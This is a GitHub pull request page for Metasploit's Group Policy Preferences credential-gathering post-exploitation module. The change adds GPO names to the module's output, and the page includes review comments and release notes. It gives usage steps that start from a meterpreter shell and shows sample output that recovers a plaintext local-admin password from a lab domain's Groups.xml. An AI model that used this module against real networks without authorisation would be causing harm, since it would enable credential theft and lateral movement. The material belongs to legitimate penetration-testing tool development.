Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update gpp.rb to display GPO name #12258

Merged
merged 5 commits into from Sep 26, 2019

Conversation

@gkweb76
Copy link
Contributor

commented Aug 31, 2019

What the changes do:

GPO files on SYSVOL do only include the GPO GUID, not the GPO name defined by the administrator. This modification makes this gpp module make an ADSI query to retrieve all of the domain's GPOs, and compare their GUID. If one GUID matches, then we know the GPO name and we can display it. On a pentest, a client is much more interested by knowing the GPO name rather than the obscure GUID. The ADSI query relies on meterpreter "extapi" extension.

Verification

  1. Get a meterpreter shell on a Windows host being in a domain
  2. meterpreter > run post/windows/gather/credentials/gpp
  3. If the domain has credentials stored in GPO, it will be displayed

Example

[*] Checking for group policy history objects...
[+] Cached Group Policy folder found locally
[*] Checking for SYSVOL locally...
[-] Error accessing C:\WINDOWS\SYSVOL\sysvol : stdapi_fs_ls: Operation failed: The system cannot find the path specified.
[*] Enumerating Domains on the Network...
[*] Retrieved Domain(s) HACKME2 from network
[*] Enumerating domain information from the local registry...
[*] Retrieved Domain(s) HACKME2 from registry
[*] Retrieved DC WIN-VGVKT0O3U4K.HACKME2.LOCAL from registry
[*] Enumerating DCs for HACKME2 on the network...
[+] DC Found: WIN-VGVKT0O3U4K
[*] Searching for Policy Share on WIN-VGVKT0O3U4K...
[+] Found Policy Share on WIN-VGVKT0O3U4K
[*] Searching for Group Policy XML Files...
[*] Parsing file: \\WIN-VGVKT0O3U4K\SYSVOL\hackme2.local\Policies\{D5323F3D-FD71-4A72-9449-6A918DCFFADE}\USER\Preferences\Groups\Groups.xml ...
[+] Group Policy Credential Info
================================

 Name               Value
 ----               -----
 NAME               Local admin
 TYPE               Groups.xml
 USERNAME           localadminyea
 PASSWORD           localadminyea!!
 DOMAIN CONTROLLER  WIN-VGVKT0O3U4K
 DOMAIN             hackme2.local
 CHANGED            2018-10-25 12:59:50
 NEVER_EXPIRES?     0
 DISABLED           0

[+] XML file saved to: /root/.msf4/loot/20190831035335_test2_192.168.56.119_microsoft.window_582450.txt

The field NAME Local admin is added at the begining, where "Local admin" is the GPO name in this example.

GPO files on SYSVOL do only include the GPO GUID, not the GPO name defined by the administrator. This modification makes this gpp module make an ADSI query to retrieve all of the domain's GPOs, and compare their GUID. If one GUID matches, then we know the GPO name and we can display it. On a pentest, a client is much more interested by knowing the GPO name rather than the obscure GUID. The ADSI query relies on meterpreter "extapi" extension.
@@ -241,7 +266,19 @@ def parse_xml(xmlfile)
tables = Rex::Parser::GPP.create_tables(results, filetype, xmlfile[:domain], xmlfile[:dc])

tables.each do |table|
print_good table.to_s
# We have to manually format the results as we want to insert a new line

This comment has been minimized.

Copy link
@acammack-r7

acammack-r7 Sep 4, 2019

Contributor

Is there a reason that using table << ['NAME', xmlfile[:name]] if xmlfile.member?(:name) to add a row to the table doesn't work?

This comment has been minimized.

Copy link
@gkweb76

gkweb76 Sep 5, 2019

Author Contributor

I simply did not think about it ^^ I wanted to insert this new field on top of other values. However the method you suggested is much simpler and cleaner, and I commited your idea to the code. The "NAME" field is added so it goes to the end instead, but the code simplification is worth it. Thanks :-)

This comment has been minimized.

Copy link
@acammack-r7

acammack-r7 Sep 5, 2019

Contributor

Another (perhaps more correct option) would be to have Rex::Parser::GPP.create_tables take the name as an option parameter and add it to the table around https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/parser/group_policy_preferences.rb#L102

This comment has been minimized.

Copy link
@acammack-r7

acammack-r7 Sep 5, 2019

Contributor

Also, thanks for making the change! The code is definitely much cleaner for it.

gkweb76 added 3 commits Sep 5, 2019
Directly insert the new value in the "table", instead of modifying the screen output manually. Simpler and cleaner, thanks @acammack-r7 !
Aesthetics modification
@busterb busterb self-assigned this Sep 23, 2019
busterb added a commit to busterb/metasploit-framework that referenced this pull request Sep 26, 2019
@busterb busterb merged commit 795e0eb into rapid7:master Sep 26, 2019
3 checks passed
3 checks passed
Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details
msjenkins-r7 added a commit that referenced this pull request Sep 26, 2019
@busterb

This comment has been minimized.

Copy link
Member

commented Sep 26, 2019

Release Notes

This improves the windows/gather/credentials/gpp module by displaying the name as well as the GUID for Group Policy Objects (GPO). It relies on the 'extapi' extension for Meterpreter in order to perform ADSI queries for obtaining the name to GUID mapping.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
5 participants
You can’t perform that action at this time.